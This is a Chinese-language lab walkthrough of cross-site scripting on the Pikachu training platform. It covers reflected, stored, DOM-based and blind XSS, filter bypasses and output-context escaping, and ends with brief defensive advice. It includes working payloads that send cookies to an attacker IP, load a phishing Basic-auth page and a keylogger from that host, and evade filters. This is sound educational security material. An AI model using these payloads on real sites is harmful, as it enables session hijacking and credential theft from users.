概述
反射型XSS(get)
XSS案例：盗取Cookie
反射型XSS(post)
存储型XSS
XSS案例：钓鱼攻击
XSS案例：键盘记录
DOM型XSS
DOM型XSS-X
XSS之盲打
XSS之过滤
XSS之htmlspecialchars
XSS常见防范措施
XSS之href输出
XSS之js输出
概述
简介
XSS是一种发生在Web前端的漏洞，所以其危害的对象也主要是前端用户
XSS漏洞可以用来进行钓鱼攻击、前端js挖矿、盗取用户cookie，甚至对主机进行远程控制
攻击流程
假设存在漏洞的是一个论坛，攻击者将恶意的JS代码通过XSS漏洞插入到论文的某一页面中
当用户访问这个页面时，都会执行这个恶意的JS代码，这个代码就会在用户的浏览器端执行
XSS攻击类型
危害：存储型 > 反射型 > DOM型
- 反射型：交互的数据一般不会被存在数据库里面，一次性，所见即所得，一般出现在查询页面等
- 存储型：交互的数据会被存在数据库里面，永久性存储，一般出现在留言板，注册等页面
- DOM型：不与后台服务器产生数据交互，是一种通过DOM操作前端代码输出的时候产生的问题，一次性，也属于反射型
XSS形成原因
形成XSS漏洞的主要原因是程序中输入和输出的控制不够严格
导致“精心构造”的脚本输入后，在输出到前端时被浏览器当作有效代码解析执行
XSS漏洞测试流程
①在目标上找输入点，比如查询接口、留言板
②输入一组 “特殊字符（>，‘，"等）+唯一识别字符” ，点击提交后，查看返回源码，看后端返回的数据是否有处理
③通过搜索定位到唯一字符，结合唯一字符前后语法确定是否可以构造执行js的条件（构造闭合）
④提交构造的脚本代码（以及各种绕过姿势），看是否可以成功执行，如果成功执行则说明存在XSS漏洞
反射型XSS(get)
我们先输入“ ‘"<>6666 ” 用于测试我们的输入会不会被过滤掉，因为有特殊字符
还有我们的输入会不会被输出，输出会不会被处理
下面我们查看一下页面源码
我们的输入被原封不动地输出到了 p 标签中
下面测试我们输入的JS代码，看是否会原封不动地输出，payload如下
<script>alert("xss")</script>
由于前端对输入长度做了限制，我们需要修改一下才能输入完整的payload
提交之后发现我们的payload在浏览器上成功执行了
我们查看源码可以发现，我们输入的payload嵌入了到了 p 标签里面
这又是正确的JS代码，所以被浏览器正确执行了
这是一个简单的反射型XSS，从前端输入由后端接受再输出
后端没有对这个内容进行存储
另外，这是一个GET型的XSS漏洞，一般将带有XSS的URL伪装后发送给目标即可
如果是POST型的XSS，无法直接使用URL的方式进行攻击
XSS案例：盗取Cookie
实验机器
- 攻击者192.168.171.129
- 受害者192.168.171.1
- 漏洞服务器192.168.171.133
攻击流程
先在Kali上搭建XSS后台，将pikachu项目源码放到Kali机器的/var/www/html文件夹中
启动MySQL和Apache服务
service apache2 start service mysql start
Kali中MySQL的root账号的密码为root，可以根据实际情况配置 /var/www/html/pikachu/pkxss/inc/config.inc.php 中的数据库信息
访问 http://localhost/pikachu ，访问管理工具里的XSS后台，初始化数据库
看到下面的界面就是成功了
然后进入登录界面、登录
如果碰到连不上数据库的情况，可以尝试执行下面的命令
# 进入MySQL shell
mysql -u root -proot
# 增加权限
grant all privileges on *.* to ‘root‘@‘%‘ identified by ‘root‘;
# 刷新权限
flush privileges;?
# 退出MySQL shell
quit
修改/var/www/html/pikachu/pkxss/xcookie下的cookie.php，将IP地址改为漏洞服务器的地址
cookie.php用于接收受害者的cookie，然后将页面重定向到漏洞服务器的index页面，我们构造的Payload如下
<script>document.location = ‘http://192.168.171.129/pikachu/pkxss/xcookie/cookie.php?cookie=‘ + document.cookie;</script>
当用户提交的时候，我们就能取得用户的Cookie
由于是GET类型的XSS漏洞，我们可以直接构造一个带有Payload的URL，诱使受害者点击就能取得Cookie
http://192.168.171.133/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F192.168.171.129%2Fpikachu%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E&submit=submit
反射型XSS(post)
我们登录一下，默认账号密码是admin 123456
会得到以下界面
这里是以POST的方式提交的，参数内容不会出现在URL中，可以抓包看一下
这时候我们不能直接把我们的恶意代码嵌入到URL中
攻击思路如下
我们需要自己搭一个恶意站点，然后在网站上放一个post表单
将存放POST表单的链接发送给受害者，诱导受害者点击
这个POST表单会向漏洞服务器提交一个POST请求，实现受害者帮我们提交POST请求的目的
实验机器：
攻击者192.168.171.129
受害者192.168.171.1
漏洞服务器192.168.171.133
这个POST表单页面是位于攻击者的Kali机器上 /var/www/html/pikachu/pkxss/xcookie 下名为 post.html 的文件
我们需要修改里面 漏洞服务器 和 攻击者 的服务器地址
post.html页面的作用是：当用户访问这个页面时，会自动向漏洞服务器发送POST请求，然后重定向到漏洞服务器的index页面
http://192.168.171.129/pikachu/pkxss/xcookie/post.html
我们只需要诱导受害者点击上面的链接就能窃取用户的Cookie
存储型XSS
存储型XSS和反射型XSS形成的原因是一样的，不同的是存储型XSS下攻击者的可以将脚本注入到后台存储起来，构成更加持久的危害
我们试着在皮卡丘平台上的XSS上留言，看看是否有什么过滤机制
我们发现我们的留言会一直存在，而且从表现上我们输入的内容直接输出了
下面通过源码观察
我们输入的东西，也直接输出在 p 标签中，看起来没有经过任何转义和处理
下面输入下面的Payload进行测试
<script>alert("xss")</script>
成功弹窗
XSS案例：钓鱼攻击
我们这里用一个Basic认证去做这个钓鱼攻击
我们在一个存在XSS漏洞的页面上面嵌入一个恶意请求，当用户打开这个页面时
这个页面就会像攻击者的服务器发送请求，这个请求会返回一个Basic认证的头部
这时候会弹出一个提示框，要求受害者输入账号密码，从而盗取用户的账号密码
实验机器
攻击者192.168.171.129
受害者192.168.171.1
漏洞服务器192.168.171.133
首先攻击者需要构造一个钓鱼页面，用来将发送Basic认证的认证框
修改 /var/www/html/pikachu/pkxss/xfish 下的 fish.php 文件，将IP地址改为攻击者的服务器地址
构造的Payload如下
<script src="http://192.168.171.129/pikachu/pkxss/xfish/fish.php"></script>
当用户访问这个留言板时，会出现下面的认证框
上面已经提示密码不会发给正在浏览的网站，如果用户不注意还是可能上当
用户输入的账号密码就已经存到了我们的数据库里
XSS案例：键盘记录
实验前先了解一下跨域
什么是跨域
当协议、主机（主域名、子域名）、端口中的任意一个不同时，称为不同域
我们把不同域之间请求数据的操作，称为跨域操作
跨域-同源策略
为了安全考虑，所有的浏览器都约定了“同源策略”。同源策略规定：
两个不同域之间不能使用JS进行互相操作
比如：x.com 域名下的 JS 并不能操作 y.com 域下的对象
如果想要跨域操作，则需要管理员进行特殊配置
比如通过头里面：header("Access-Control-Allow-Origin:x/com") 指定跨域的地址
下面的标签跨域加载资源（资源类型时有限制的）是不受同源策略限制的
- <script src="...">，JS加载到本地执行
- <img src="..">，图片
- <link href="..">，CSS
- <iframe src="..">，任意资源
为什么要同源策略
A登录了淘宝，攻击者向A发送了一个恶意链接http://盗取cookie
如果没有同源策略，url上的js恶意操作A的内容
有了同源策略，就限制了这种状况
或者，一个恶意站点A使用了 <iframe src="B站点登录界面"> ，发送该恶意 url 给受害者
如果受害者浏览器如果没有同源策略，那么 A 上的 JS 即可获取 B 站点的登录信息
实验
Kali机器上先修改 /var/www/html/pikachu/pkxss/rkeypress 下 rk.js 中的IP地址
rk.js 是攻击代码，我们可以把这个 js 文件放到我们的恶意站点上，然后通过有 XSS 漏洞的页面去调用
这个文件可以记录用户的键盘操作，然后异步发送给攻击者
但是这个违背了同源策略，因为我们攻击者的机器和漏洞服务器的主机是不一样的
AJAX的请求默认情况下是不能跨域的，这个请求默认情况下是会失败的
去 /var/www/html/pikachu/pkxss/rkeypress 中 rkserver.php 注释掉下面的代码
我们可以用下面的Payload测试一下
<script src="http://192.168.171.129/pikachu/pkxss/rkeypress/rk.js"></script>
提交之后打开控制台，看一下网络请求，我们在页面上随便输入一些东西，会有下面的提示
由于 192.168.171.129 是攻击者自己搭建的平台，攻击者可以允许所有人来跨域请求，下面我们把刚刚注释的代码打开
这时候再在浏览器上输入东西，就没有任何提示了，我们也在一直向攻击者的服务器发送数据
攻击者也收集到了我们的击键信息
DOM型XSS
DOM可以理解为访问HTML的标准接口，DOM里面会把我们的HTML分成一个DOM树
我们可以以这棵树为入口，通过DOM的某些方法对树进行操作，比如对标签的添加、改变和删除等等
DOM这个东西相当于在前端提供了一个通过JS去对HTML进行操作的接口
下面我们在皮卡丘平台上的DOM型XSS上测试一下
输入图中的内容，观察到如下输出，发现和输入的内容有区别
下面通过观察页面源码
这里有段JS代码，它通过 getElementById 获取到了标签 Id 为 text的内容赋值给str
然后又把 str 的内容通过字符串拼接的方式写到了 a 标签的 href 属性中，a标签会写到 Id 为 dom的 div 标签中
我们通过闭合的方式构造Payload
构造的Payload如下
#‘ onclick=alert("xss")>
成功弹窗
造成DOM型XSS的原因是前端的输入被DOM给获取到了，通过DOM又在前端输出，跟反射型和存储型比起来，它是不经过后台交互的
DOM型XSS-X
我们随便输入一些内容，会多出下面一句话
下面观察下面源码
这里也有个JS代码，它定义了一个domxss函数
它利用 window.location.search 获取浏览器中URL的内容，然后赋值给 str
然后经过URL解码和字符串分隔，取出URL中的参数内容
再把 “+” 替换为 “ ”（空格），赋值给 xss
最后把 xss 拼接到 a 标签中，然后写到 Id 为 dom 的 div 标签中
跟前面的DOM不同的是，它的输入是从浏览器的URL中获取的，很像反射型XSS(get)
构造的Payload跟刚才是一样的
#‘ onclick=alert("xss")>
XSS之盲打
XSS盲打不是攻击类型，而是一个攻击场景
在皮卡丘平台上，我们随便输入一些东西
提交后我们输入的内容不会在前对输出，而是提交到了后台，可能管理员会去看
如果我们输入一个JS代码，管理员登录后台管理界面，如果后台把我们的内容输出
那后台管理员可能遭受到我们的XSS攻击，我们提交以下内容
并登录后台管理界面（账号密码为admin，123456）
http://192.168.171.133/pikachu/vul/xss/xssblind/admin_login.php
一登录进来就遭受了XSS攻击
XSS之过滤
实际中的系统，或多或少都会做一些安全措施，但是这些安全措施也能方法、逻辑不严谨，可以被绕过
转换的思路
- 前端限制绕过，直接抓包重放，或者修改html前端代码。比如反射型XSS(get)中限制输入20个字符。
- 大小写，比如<SCRIPT>aLeRT(111)</sCRIpt>。后台可能用正则表达式匹配，如果正则里面只匹配小写，那就可能被绕过。
- 双写（拼凑），<scri<script>pt>alert(111)</scri</script>pt>。后台可能把<script>标签去掉换，但可能只去掉一次。
- 注释干扰，<scri<!--test-->pt>alert(111)</sc<!--test-->ript>。加上注释后可能可以绕过后台过滤机制。
编码的思路
核心思路：
- 后台过滤了特殊字符，比如<script>标签，但该标签可以被各种编码，后台不一定过滤
- 当浏览器对该编码进行识别时，会翻译成正常的标签，从而执行
编码应该在输出点被正常识别和翻译，不能随便使用编码。
例子：
<img src=x onerror=alert(‘xss‘)>
将alert(‘xss‘)进行URL编码，可以执行吗？
<img src=x onerror=alert%28%27xss%27%29>它并不会执行，因为属性标签并不会正常解析这些编码
<img src=x onerror=alert(‘xss‘)>
将alert(‘xss‘)进行HTML编码
<img src=x onerror=alert('xss')>当它输出到前端的时候，浏览器会对这个编码进行翻译，从而弹窗
XSS绕过的姿势很多，取决于你的思路和对前端技术的掌握程度
我们在皮卡丘平台上，输入下面的内容看一下后台会怎么处理
可以看到我们输入的<script>标签被去掉了
尝试用大小写混合的方式看看能否绕过
<SCRIPT>alert(111)</sCRIpt>
这时候成功弹窗，后端只对小写的script进行过滤
也可以用别的攻击Payload，后台可能没有做处理
<img src=x onerror=alert(‘xss‘)>
XSS之htmlspecialchars
关于htmlspecialchars()函数
htmlspecialchars()是PHP里面把预定义的字符转换为HTML实体的函数
预定义的字符是
- & 成为 &
- " 成为 "
- ‘ 成为 '
- < 成为 <
- > 成为 >
可用引号类型
- ENT_COMPAT：默认，仅编码双引号
- ENT_QUOTES：编码双引号和单引号
- ENT_NOQUOTES：不编码任何引号
我们在皮卡丘平台上输入下面的内容，看一下后端是怎么处理的
我们输入的内容经过了HTML编码
可以看到 “ " ”，“ > ”和“ < ”都经过了编码，剩下的字符没有，单引号依然可以使用
我们可以构造下面的Payload，我们在Payload前后都添加一个单引号用于闭合 href 中的单引号
‘ onclick=alert(1111) ‘
XSS常见防范措施
总的原则：输入做过滤，输出做转义
- 过滤：根据业务需求进行过滤，比如输入点要求输入手机号，则只允许输入手机号格式的数字
- 转义：所有输出到前端的数据根据输出点进行转义，比如输出到html中进行html实体转义，输入到JS里面进行JS转义
XSS之href输出
看一下xss_03.php的源码
这个页面会接收我们的输入的message，然后判断我们输入的网址，如果输入的不是百度会对我们输入的内容用 htmlspecialchars() 进行处理
这个函数转义单引号、双引号和左右尖括号
然后输出到 a 标签的 href 属性中，在 a 标签的href属性中，可以用javascript协议来执行JS
构造Payload如下，没有上面被转义的字符
javascript:alert(111)
提交后查看源码，我们的输入在 a 标签的 href属性中
此时点击我们的标签就会出现弹窗
如果要对 href 做处理，一般有两个逻辑：
- 输入的时候只允许 http 或 https 开头的协议，才允许输出
- 其次再进行htmlspecialchars处理
XSS之js输出
我们随便输入一些东西，然后查看一下页面源码
它会把我们的输入放到JS中，然后对这个变量进行判断，然后再输出
我们可以构造一个闭合，先用一个单引号和</script>闭合掉页面中的<script>，然后再插入自己的JS代码
‘</script><script>alert(‘xss‘)</script>
这时候我们的JS也被执行了
这个漏洞的输出点是在JS中，通过用户的输入动态生成了JS代码
JS有个特点，它不会对实体编码进行解释，如果想要用htmlspecialchars对我们的输入做实体编码处理的话
在JS中不会把它解释会去，这样解决了XSS问题，但不能构成合法的JS
所以在JS的输出点应该对应该使用 \ 对特殊字符进行转义
原文地址：https://www.cnblogs.com/dogecheng/p/11556221.html